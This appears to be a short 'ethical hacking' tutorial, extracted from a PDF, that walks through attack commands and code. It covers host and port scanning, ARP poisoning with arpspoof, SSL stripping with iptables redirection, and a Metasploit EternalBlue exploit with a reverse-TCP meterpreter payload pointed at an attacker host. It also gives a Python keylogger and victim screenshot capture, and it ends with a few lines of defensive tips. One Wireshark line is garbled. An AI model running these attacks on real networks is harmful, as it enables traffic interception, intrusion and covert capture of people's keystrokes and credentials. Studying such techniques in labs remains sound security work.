Comprehensive Ethical Hacking Guide

For Educational Purposes Only

Contents

1 Reconnaissance

1.1 Ping Sweep

Used to check the availability of hosts in a network.

```
# Send ICMP requests to a target
ping -c 4 <target_ip>
```

Listing 1: Ping Sweep Command

Python Implementation:

```
import os
target_ip = "192.168.1.1"
os.system(f"ping -c 4 {target_ip}")
```

Listing 2: Ping Sweep in Python

1.2 Port Scanning

Port scanning helps identify open ports and services.

```
nmap -p- -A <target_ip>
```

Listing 3: Port Scanning Using Nmap

Python Implementation:

```
import socket

def scan_ports(target_ip):
    for port in range(1, 1025):
        sock = socket.socket(socket.AF_INET, socket.
    SOCK_STREAM)
        sock.settimeout(0.5)
        if not sock.connect_ex((target_ip, port)):
            print(f"Port {port} is open.")
        sock.close()

scan_ports("192.168.1.1")
```

Listing 4: Port Scanning in Python

2 Scanning

2.1 Service and OS Discovery

Gather service and OS information of the target.

```
nmap -sV -O <target_ip>
```

Listing 5: OS and Service Discovery Using Nmap

2.2 Network Mapping

Map all devices in the network using `netdiscover`.

```
netdiscover -i wlan0 -r 192.168.1.0/24
```

Listing 6: Network Mapping with Netdiscover

3 Exploitation

3.1 Manual ARP Poisoning

ARP Poisoning involves intercepting network traffic by sending spoofed ARP messages.

```
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Poison victim's ARP cache
arpspoof -i eth0 -t <victim_ip> <gateway_ip>

# Poison gateway's ARP cache
arpspoof -i eth0 -t <gateway_ip> <victim_ip>
```

Listing 7: Manual ARP Poisoning Commands

3.2 SSL Strip Attack

Downgrade HTTPS connections to HTTP.

```
# Start SSL Strip
sslstrip -l 8080

# Redirect HTTP traffic to SSL Strip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
    REDIRECT --to-port 8080
```

Listing 8: SSL Strip Setup

3.3 Exploiting Vulnerabilities

Using Metasploit to exploit a vulnerable target.

```
# Launch Metasploit
msfconsole

# Search for vulnerabilities
search ms17_010

# Exploit a target
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
exploit
```

Listing 9: Metasploit Exploitation Example

4 Post-Exploitation

4.1 Keylogger Injection

A Python-based keylogger to capture keystrokes.

```
import pynput

def on_press(key):
    with open("log.txt", "a") as file:
        file.write(f"{key}\n")

with pynput.keyboard.Listener(on_press=on_press) as listener:
    listener.join()
```

Listing 10: Keylogger in Python

4.2 Taking Screenshots

Capture screenshots of the victim's screen using Metasploit.

```
# Capture a screenshot
meterpreter > screenshot
```

Listing 11: Screenshot Capture

5 Network Traffic Analysis

5.1 Wireshark

- Install Wireshark: `sudo apt install wireshark`
- Filter HTTP Traffic: `http`

- Filter Specific IP: `ip.addr == <target`$_ip > AnalyzeCredentials : Use$`Follow TCP Stream`.

6 Defensive Measures

6.1 Prevent ARP Poisoning

- Use static ARP entries.
- Enable DHCP Snooping.

6.2 Prevent MITM Attacks

- Use HTTPS and validate SSL certificates.
- Use a VPN to encrypt traffic.

6.3 Prevent DNS Spoofing

- Use DNSSEC-enabled servers.
- Avoid public Wi-Fi without proper security measures.